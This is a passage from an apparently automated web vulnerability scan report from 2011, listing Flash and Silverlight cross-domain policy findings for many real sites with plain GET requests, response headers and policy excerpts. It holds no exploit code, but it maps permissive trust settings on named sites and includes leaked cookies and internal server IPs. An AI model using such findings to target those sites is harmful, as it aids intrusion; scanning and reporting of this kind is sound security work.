Confidence:	Certain
Host:	http://redux.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: redux.com

Response

HTTP/1.0 200 OK
Connection: close
Content-Type: text/xml
Content-Length: 910
Date: Tue, 10 May 2011 13:28:50 GMT
Server: lighttpd/1.4.19

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"
...[SNIP]...
<allow-access-from domain="*.redux.com" />
<allow-access-from domain="www.myspace.com" />
<allow-access-from domain="lads-stage.myspace.com" />
<allow-access-from domain="lads.myspace.com" />
<allow-access-from domain="lads.myspace.cn" />
<allow-access-from domain="lads.myspacecdn.com" />
<allow-access-from domain="stage-creative.myspacecdn.com" />
<allow-access-from domain="creative.myspacecdn.com" />
<allow-access-from domain="creative.myspace.com" />
<allow-access-from domain="stage.myspace.com" />
<allow-access-from domain="naboo.myspace.com" />
<allow-access-from domain="collect.myspace.com" />
...[SNIP]...

5.124. http://s26.sitemeter.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://s26.sitemeter.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: s26.sitemeter.com

Response

HTTP/1.1 200 OK
Content-Length: 219
Content-Type: text/xml
Last-Modified: Wed, 25 Oct 2006 21:31:00 GMT
Accept-Ranges: bytes
ETag: "025bdd7cf8c61:874b"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 10 May 2011 13:30:38 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.sitemeter.com" />
</cro
...[SNIP]...

5.125. http://static.ak.fbcdn.net/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: static.ak.fbcdn.net

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy;charset=utf-8
X-FB-Server: 10.30.147.196
X-Cnection: close
Date: Tue, 10 May 2011 13:11:46 GMT
Content-Length: 1473
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-only" /
...[SNIP]...
<allow-access-from domain="s-static.facebook.com" />
   <allow-access-from domain="static.facebook.com" />
   <allow-access-from domain="static.api.ak.facebook.com" />
   <allow-access-from domain="*.static.ak.facebook.com" />
   <allow-access-from domain="s-static.thefacebook.com" />
   <allow-access-from domain="static.thefacebook.com" />
   <allow-access-from domain="static.api.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.fbcdn.com" />
   <allow-access-from domain="s-static.ak.fbcdn.net" />
   <allow-access-from domain="*.static.ak.fbcdn.net" />
   <allow-access-from domain="s-static.ak.facebook.com" />
   <allow-access-from domain="www.facebook.com" />
   <allow-access-from domain="www.new.facebook.com" />
   <allow-access-from domain="register.facebook.com" />
   <allow-access-from domain="login.facebook.com" />
   <allow-access-from domain="ssl.facebook.com" />
   <allow-access-from domain="secure.facebook.com" />
   <allow-access-from domain="ssl.new.facebook.com" />
...[SNIP]...
<allow-access-from domain="fvr.facebook.com" />
   <allow-access-from domain="www.latest.facebook.com" />
   <allow-access-from domain="www.inyour.facebook.com" />
...[SNIP]...

5.126. http://syndication.mmismm.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://syndication.mmismm.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: syndication.mmismm.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:11:44 GMT
Server: Apache
Last-Modified: Fri, 22 Apr 2011 21:27:29 GMT
ETag: "10e-4a18886617240"
Accept-Ranges: bytes
Content-Length: 270
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only
...[SNIP]...
<allow-access-from domain="*.adap.tv"/>
...[SNIP]...

5.127. http://this.content.served.by.adshuffle.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://this.content.served.by.adshuffle.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: this.content.served.by.adshuffle.com

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
Date: Tue, 10 May 2011 13:18:03 GMT
Connection: keep-alive
Content-Length: 216
Set-Cookie: NSC_betivggmf-opef=ffffffff0908150045525d5f4f58455e445a4a423660;expires=Tue, 10-May-2011 13:23:03 GMT;path=/

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.adshuffle.com" />
</cros
...[SNIP]...

5.128. http://tracking.adjug.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://tracking.adjug.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific subdomains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: tracking.adjug.com

Response

HTTP/1.1 200 OK
Content-Length: 477
Content-Type: text/xml
Last-Modified: Mon, 21 Mar 2011 08:37:02 GMT
Accept-Ranges: bytes
ETag: "a0fdbd26a3e7cb1:eb9"
Server: Microsoft-IIS/6.0
P3P: policyref="http://tracking.adjug.com/w3c/p3p.xml", CP="NOI DSP COR LAW CUR ADM TAI PSA PSD IVA IVD HIS OUR SAM OTR LEG UNI COM NAV DEM CNT LOC"
X-Powered-By: ASP.NET
Date: Tue, 10 May 2011 13:42:57 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://tracking.adjug.com/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.adjug.com" />
<allow-access-from domain="hosting.adjug.com" />
...[SNIP]...

5.129. http://w.sharethis.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://w.sharethis.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: w.sharethis.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Fri, 06 May 2011 17:23:38 GMT
ETag: "30106-14a-4a29ec0155a80"
Content-Type: application/xml
Date: Tue, 10 May 2011 13:28:41 GMT
Content-Length: 330
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only"
...[SNIP]...
<allow-access-from domain="*.meandmybadself.com" />
<allow-access-from domain="*.sharethis.com" />
...[SNIP]...

5.130. http://www.facebook.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.facebook.com

Response

HTTP/1.0 200 OK
Content-Type: text/x-cross-domain-policy;charset=utf-8
X-FB-Server: 10.54.151.35
Connection: close
Content-Length: 1473

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-only" /
...[SNIP]...
<allow-access-from domain="s-static.facebook.com" />
   <allow-access-from domain="static.facebook.com" />
   <allow-access-from domain="static.api.ak.facebook.com" />
   <allow-access-from domain="*.static.ak.facebook.com" />
   <allow-access-from domain="s-static.thefacebook.com" />
   <allow-access-from domain="static.thefacebook.com" />
   <allow-access-from domain="static.api.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.thefacebook.com" />
   <allow-access-from domain="*.static.ak.fbcdn.com" />
   <allow-access-from domain="s-static.ak.fbcdn.net" />
   <allow-access-from domain="*.static.ak.fbcdn.net" />
   <allow-access-from domain="s-static.ak.facebook.com" />
...[SNIP]...
<allow-access-from domain="www.new.facebook.com" />
   <allow-access-from domain="register.facebook.com" />
   <allow-access-from domain="login.facebook.com" />
   <allow-access-from domain="ssl.facebook.com" />
   <allow-access-from domain="secure.facebook.com" />
   <allow-access-from domain="ssl.new.facebook.com" />
   <allow-access-from domain="static.ak.fbcdn.net" />
   <allow-access-from domain="fvr.facebook.com" />
   <allow-access-from domain="www.latest.facebook.com" />
   <allow-access-from domain="www.inyour.facebook.com" />
...[SNIP]...

5.131. http://www.gather.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.gather.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.gather.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:13:22 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Last-Modified: Thu, 28 Apr 2011 14:40:49 GMT
ETag: "204c2-163-4a1fb8b133e40"
Accept-Ranges: bytes
Content-Length: 355
Keep-Alive: timeout=5, max=96
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.quantserve.com"/>
<allow-access-from domain="*.gather.com"/>
<allow-access-from domain="*.aetna.com"/>
<allow-access-from domain="*.intelihealth.com"/>
...[SNIP]...

5.132. http://www.meebo.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.meebo.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.meebo.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Tue, 10 May 2011 13:11:33 GMT
Content-Type: text/xml; charset=utf-8
Content-Length: 303
Last-Modified: Thu, 28 Apr 2011 16:54:16 GMT
Connection: close
Accept-Ranges: bytes

<cross-domain-policy>
<allow-access-from domain="www.meebo.com"/>
<allow-access-from domain="*.meebo.com"/>
<allow-access-from domain="meebo.com"/>
<allow-access-from domain="*.meebome.com"/>
<allow-access-from domain="www.meebome.com"/>
<allow-access-from domain="meebome.com"/>
...[SNIP]...

5.133. http://www.philly.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.philly.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.philly.com

Response

HTTP/1.0 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=3600
Content-Type: text/xml;charset=utf-8
Date: Tue, 10 May 2011 13:11:24 GMT
Expires: Tue, 10 May 2011 14:11:24 GMT
Last-Modified: Wed, 04 May 2011 10:18:35 GMT
Server: ECS (dca/532A)
Via: 1.0 sj-c14-r8-u31-b4:3128 (squid)
X-Cache: HIT
X-Server-Name: sj-c14-r8-u22-b8
Content-Length: 4529
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>

<allow-access-from domain="www.philly.com" />

<allow-access-from domain="dev.www.philly.com" />

<allow-access-from domain="stage.www.philly.com" />

<allow-access-from domain="media.philly.com" />

<allow-access-from domain="cms.clickability.com" />
...[SNIP]...
<allow-access-from domain="inquirer.philly.com" />

<allow-access-from domain="www.argentumwebs.com" />

<allow-access-from domain="argentumwebs.com" />

<allow-access-from domain="www.biemedia.com" />

<allow-access-from domain="biemedia.com" />

<allow-access-from domain="support.biemedia.com" />

<allow-access-from domain="inquirer.philly.com" />

<allow-access-from domain="go.philly.com" />

<allow-access-from domain="aps1.philly.com" />

<allow-access-from domain="*.brightcove.com" />

<allow-access-from domain="rss.teamfanshop.com" />

<allow-access-from domain="feeds.teamfanshop.com" />

<allow-access-from domain="images.footballfanatics.com" />

<allow-access-from domain="concepts.philly.com" />

   <allow-access-from domain="http://doubleclick.net"/>
...[SNIP]...
<allow-access-from domain="http://ad.doubleclick.net"/>
   <allow-access-from domain="http://ad.uk.doubleclick.net"/>
   <allow-access-from domain="http://ad.ie.doubleclick.net"/>
   <allow-access-from domain="http://ad.fr.doubleclick.net"/>
   <allow-access-from domain="http://ad.es.doubleclick.net"/>
   <allow-access-from domain="http://ad.it.doubleclick.net"/>
   <allow-access-from domain="http://ad.de.doubleclick.net"/>
   <allow-access-from domain="http://ad.nl.doubleclick.net"/>
   <allow-access-from domain="http://ad.se.doubleclick.net"/>
   <allow-access-from domain="http://ad.au.doubleclick.net"/>
   <allow-access-from domain="http://ad.jp.doubleclick.net"/>
   <allow-access-from domain="http://ad.cn.doubleclick.net"/>
   <allow-access-from domain="http://ad.tw.doubleclick.net"/>
   <allow-access-from domain="http://ad.hk.doubleclick.net"/>
   <allow-access-from domain="http://creatives.doubleclick.net"/>
   <allow-access-from domain="http://dfa.doubleclick.com"/>
   <allow-access-from domain="http://dfa.doubleclick.net"/>
   <allow-access-from domain="http://dfp.doubleclick.com"/>
   <allow-access-from domain="http://dfp.doubleclick.net"/>
   <allow-access-from domain="http://motifcdn.doubleclick.net"/>
   <allow-access-from domain="http://motifcdn2.doubleclick.net"/>
   <allow-access-from domain="http://m.doubleclick.net"/>
   <allow-access-from domain="http://m.2mdn.net"/>
   <allow-access-from domain="http://m.uk.2mdn.net"/>
   <allow-access-from domain="http://m.fr.2mdn.net"/>
   <allow-access-from domain="http://m.de.2mdn.net"/>
   <allow-access-from domain="http://m.se.2mdn.net"/>
   <allow-access-from domain="http://m.au.2mdn.net"/>
   <allow-access-from domain="http://m.jp.2mdn.net"/>
   <allow-access-from domain="http://m.cn.2mdn.net"/>
   <allow-access-from domain="http://m.tw.2mdn.net"/>
   <allow-access-from domain="http://m.hk.2mdn.net"/>
   <allow-access-from domain="http://m1.doubleclick.net"/>
   <allow-access-from domain="http://m1.2mdn.net"/>
   <allow-access-from domain="http://m1.jp.2mdn.net"/>
   <allow-access-from domain="http://m2.doubleclick.net"/>
   <allow-access-from domain="http://m2.2mdn.net"/>
   <allow-access-from domain="http://m3.doubleclick.net"/>
   <allow-access-from domain="http://m3.2mdn.net"/>
   <allow-access-from domain="http://demo.doubleclick.com"/>
   <allow-access-from domain="http://demo.doubleclick.net"/>
   <allow-access-from domain="http://sandbox.dartmotif.com"/>
   <allow-access-from domain="http://2mdn.aolcdn.com"/>
   <allow-access-from domain="http://static.2mdn.net"/>
   <allow-access-from domain="http://s0.2mdn.net"/>
   <allow-access-from domain="http://s1.2mdn.net"/>

<allow-access-from domain="www.phrequency.com" />

<allow-access-from domain="dev.www.phrequency.com" />

<allow-access-from domain="stage.www.phrequency.com" />

<allow-access-from domain="media.phrequency.com" />

<allow-access-from domain="www.citypaper.net" />

<allow-access-from domain="dev.www.citypaper.net" />

<allow-access-from domain="stage.www.citypaper.net" />

<allow-access-from domain="media.citypaper.net" />

<allow-access-from domain="*.issuu.com" />

<allow-access-from domain="dev.kb.philly.com" />

<allow-access-from domain="stage.kb.philly.com" />
...[SNIP]...

5.134. http://www.washingtonpost.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.washingtonpost.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.washingtonpost.com

Response

HTTP/1.0 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Sun, 06 Feb 2011 23:42:57 GMT
Content-Type: application/xml
Content-Length: 478
X-Cnection: close
Cache-Control: must-revalidate, max-age=479
Date: Tue, 10 May 2011 13:13:21 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.washingtonpost.com"/>
<allow-access-from domain="admin.brightcove.com"/>
<allow-access-from domain="*.newsweek.com"/>
<allow-access-from domain="*.digitalink.com"/>
<allow-access-from domain="*.slate.com"/>
<allow-access-from domain="livingstories.googlelabs.com"/>
...[SNIP]...

5.135. http://www.youtube.com/crossdomain.xml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: www.youtube.com

Response

HTTP/1.0 200 OK
Date: Tue, 10 May 2011 13:19:48 GMT
Server: Apache
Last-Modified: Wed, 04 May 2011 23:11:32 GMT
ETag: "132-4a27b60969100"
Accept-Ranges: bytes
Content-Length: 306
Content-Type: application/xml

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.youtube.com" />
<allow-access-from domain="s.ytimg.com" />
...[SNIP]...

5.136. http://api.twitter.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://api.twitter.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from specific subdomains.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: api.twitter.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:40:17 GMT
Server: hi
Status: 200 OK
Last-Modified: Wed, 04 May 2011 17:32:26 GMT
Content-Type: application/xml
Content-Length: 561
Set-Cookie: k=173.193.214.243.1305034817077386; path=/; expires=Tue, 17-May-11 13:40:17 GMT; domain=.twitter.com
Cache-Control: max-age=1800
Expires: Tue, 10 May 2011 14:10:17 GMT
Vary: Accept-Encoding
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="twitter.com" />
...[SNIP]...
<allow-access-from domain="search.twitter.com" />
<allow-access-from domain="static.twitter.com" />
...[SNIP]...

5.137. http://stats.wordpress.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://stats.wordpress.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from specific other domains, and allows access from specific subdomains.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: stats.wordpress.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:21:22 GMT
Content-Type: text/xml
Connection: close
Content-Length: 585
Last-Modified: Mon, 14 Mar 2011 22:35:26 GMT
Accept-Ranges: bytes

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy><site-control permitted-cross-domain-policies="master-only" /><allow-access-from domain="v.wordpress.com" to-ports="80,443" /><allow-access-from domain="v0.wordpress.com" to-ports="80,443" secure="false" /><allow-access-from domain="videopress.com" to-ports="80,443" secure="false" /><allow-access-from domain="s0.videopress.com" to-ports="80,443" secure="false" /><allow-access-from domain="realeyes.com" to-ports="80,443" />
...[SNIP]...

5.138. http://talkingpointsmemo.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://talkingpointsmemo.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: talkingpointsmemo.com

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
Cache-Control: max-age=0
Content-Type: application/xml
Date: Tue, 10 May 2011 13:15:01 GMT
Keep-Alive: timeout=10, max=984
Expires: Tue, 10 May 2011 13:15:01 GMT
Accept-Ranges: bytes
Connection: close
Last-Modified: Mon, 19 Oct 2009 17:27:36 GMT
Content-Length: 372

<cross-domain-policy>
<allow-access-from domain="www.rockthatproject.com"/>
<allow-access-from domain="rockthatproject.com"/>
<allow-access-from domain="ec2-67-202-52-64.compute-1.amazonaws.com"/>
<allow-access-from domain="www.talkingpointsmemo.com"/>
...[SNIP]...
<allow-access-from domain="michiko23.com"/>
...[SNIP]...

5.139. http://ultraedit.app7.hubspot.com/crossdomain.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ultraedit.app7.hubspot.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from specific other domains.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: ultraedit.app7.hubspot.com

Response

HTTP/1.1 200 OK
Content-Length: 206
Content-Type: text/xml
Last-Modified: Wed, 17 Oct 2007 21:47:20 GMT
Accept-Ranges: bytes
ETag: "0e4f34a711c81:100ed"
Server: Microsoft-IIS/6.0
P3P: policyref="http://www.hubspot.com/w3c/p3p.xml", CP="CURa ADMa DEVa TAIa PSAa PSDa OUR IND DSP NON COR"
X-Powered-By: ASP.NET
Date: Tue, 10 May 2011 15:47:02 GMT
Connection: close
Set-Cookie: HUBSPOT192=303109292.0.0000; path=/

<?xml version="1.0" ?>
<!DOCTYPE cross-domain-policy (View Source for full doctype...)>
- <cross-domain-policy>
<allow-access-from domain="www.bluemedia.com" secure="true" />
</cross-domain-p
...[SNIP]...

6. Silverlight cross-domain policy previous next
There are 16 instances of this issue:

http://ad.doubleclick.net/clientaccesspolicy.xml
http://ad.uk.doubleclick.net/clientaccesspolicy.xml
http://ads.pointroll.com/clientaccesspolicy.xml
http://api.search.live.net/clientaccesspolicy.xml
http://b.scorecardresearch.com/clientaccesspolicy.xml
http://b.voicefive.com/clientaccesspolicy.xml
http://cdn.eyewonder.com/clientaccesspolicy.xml
http://metrics.philly.com/clientaccesspolicy.xml
http://metrics.washingtonpost.com/clientaccesspolicy.xml
http://o.sa.aol.com/clientaccesspolicy.xml
http://s0.2mdn.net/clientaccesspolicy.xml
http://secure-us.imrworldwide.com/clientaccesspolicy.xml
http://speed.pointroll.com/clientaccesspolicy.xml
http://stats.wordpress.com/clientaccesspolicy.xml
http://ts1.mm.bing.net/clientaccesspolicy.xml
http://ts2.mm.bing.net/clientaccesspolicy.xml

Issue background

The Silverlight cross-domain policy controls whether Silverlight client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Silverlight cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

6.1. http://ad.doubleclick.net/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/clientaccesspolicy.xml

Issue detail

The application publishes a Silverlight cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: ad.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/xml
Content-Length: 314
Last-Modified: Wed, 21 May 2008 19:54:04 GMT
Date: Tue, 10 May 2011 13:11:34 GMT

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource
...[SNIP]...

6.2. http://ad.uk.doubleclick.net/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.uk.doubleclick.net
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: ad.uk.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/xml
Content-Length: 314
Last-Modified: Mon, 14 Apr 2008 15:50:55 GMT
Date: Tue, 10 May 2011 13:37:48 GMT

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource
...[SNIP]...

6.3. http://ads.pointroll.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.pointroll.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: ads.pointroll.com

Response

HTTP/1.1 200 OK
Content-Length: 348
Content-Type: text/xml
Last-Modified: Wed, 01 Dec 2010 17:45:39 GMT
Accept-Ranges: bytes
ETag: "80a33917f91cb1:1518"
Server: Microsoft-IIS/6.0
P3P: CP="NOI DSP COR PSAo PSDo OUR BUS OTC"
Date: Tue, 10 May 2011 13:14:07 GMT
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="http://*" />
</allow-from>

...[SNIP]...

6.4. http://api.search.live.net/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.search.live.net
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: api.search.live.net

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Content-Length: 339
Content-Type: text/xml
Last-Modified: Tue, 09 Feb 2010 19:32:41 GMT
ETag: 3BAF7A016C7703DE61D4756F06604F7A00000153
P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml"
Date: Tue, 10 May 2011 13:23:16 GMT
Connection: close
Set-Cookie: _MD=alg=m2&C=2011-05-10T13%3a23%3a16; expires=Fri, 20-May-2011 13:23:16 GMT; domain=.live.net; path=/
Set-Cookie: _SS=SID=FFFF045A94934127BBC3965BCA1AC116; domain=.live.net; path=/
Set-Cookie: SRCHUID=V=2&GUID=336E45ECE025439EAA1C051155B98F94; expires=Thu, 09-May-2013 13:23:16 GMT; path=/
Set-Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110510; expires=Thu, 09-May-2013 13:23:16 GMT; domain=.live.net; path=/

<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="*">
<domain uri="*"/>
</allow-from>
<gran
...[SNIP]...

6.5. http://b.scorecardresearch.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: b.scorecardresearch.com

Response

HTTP/1.0 200 OK
Last-Modified: Thu, 15 Oct 2009 22:41:14 GMT
Content-Type: application/xml
Expires: Wed, 11 May 2011 13:11:35 GMT
Date: Tue, 10 May 2011 13:11:35 GMT
Content-Length: 320
Connection: close
Cache-Control: private, no-transform, max-age=86400
Server: CS

<?xml version="1.0" encoding="utf-8" ?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*" />
</allow-from>
<grant-to>
<resou
...[SNIP]...

6.6. http://b.voicefive.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.voicefive.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: b.voicefive.com

Response

HTTP/1.0 200 OK
Last-Modified: Thu, 15 Oct 2009 22:41:14 GMT
Content-Type: application/xml
Expires: Wed, 11 May 2011 13:42:49 GMT
Date: Tue, 10 May 2011 13:42:49 GMT
Content-Length: 320
Connection: close
Cache-Control: private, no-transform, max-age=86400
Server: CS

<?xml version="1.0" encoding="utf-8" ?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<domain uri="*" />
</allow-from>
<grant-to>
<resou
...[SNIP]...

6.7. http://cdn.eyewonder.com/clientaccesspolicy.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.eyewonder.com
Path:	/clientaccesspolicy.xml

Issue detail

Request

GET /clientaccesspolicy.xml HTTP/1.0
Host: cdn.eyewonder.com

Response

HTTP/1.0 200 OK
Cache-Control: max-age=18000
Content-Type: text/xml
Accept-Ranges: bytes
ETag: "a683d7574fd1ca1:13a0"
Server: Microsoft-IIS/6.0
p3p: policyref="/100125/w3c/p3p.xml", CP="NOI DSP LAW NID PSA OUR IND NAV STA COM"
X-Powered-By: ASP.NET
Date: Tue, 10 May 2011 13:40:26 GMT
Last-Modified: Thu, 01 Apr 2010 03:56:43 GMT
Expires: Tue, 10 May 2011 14:40:23 GMT
Content-Length: 268
Connection: close

<?xml version="1.0" encoding="utf-8"?><access-policy><cross-domain-access><policy><allow-from http-request-headers="*"><domain uri="http://*"/></allow-from><grant-to><resource path="/" include-subpath
...[SNIP]...

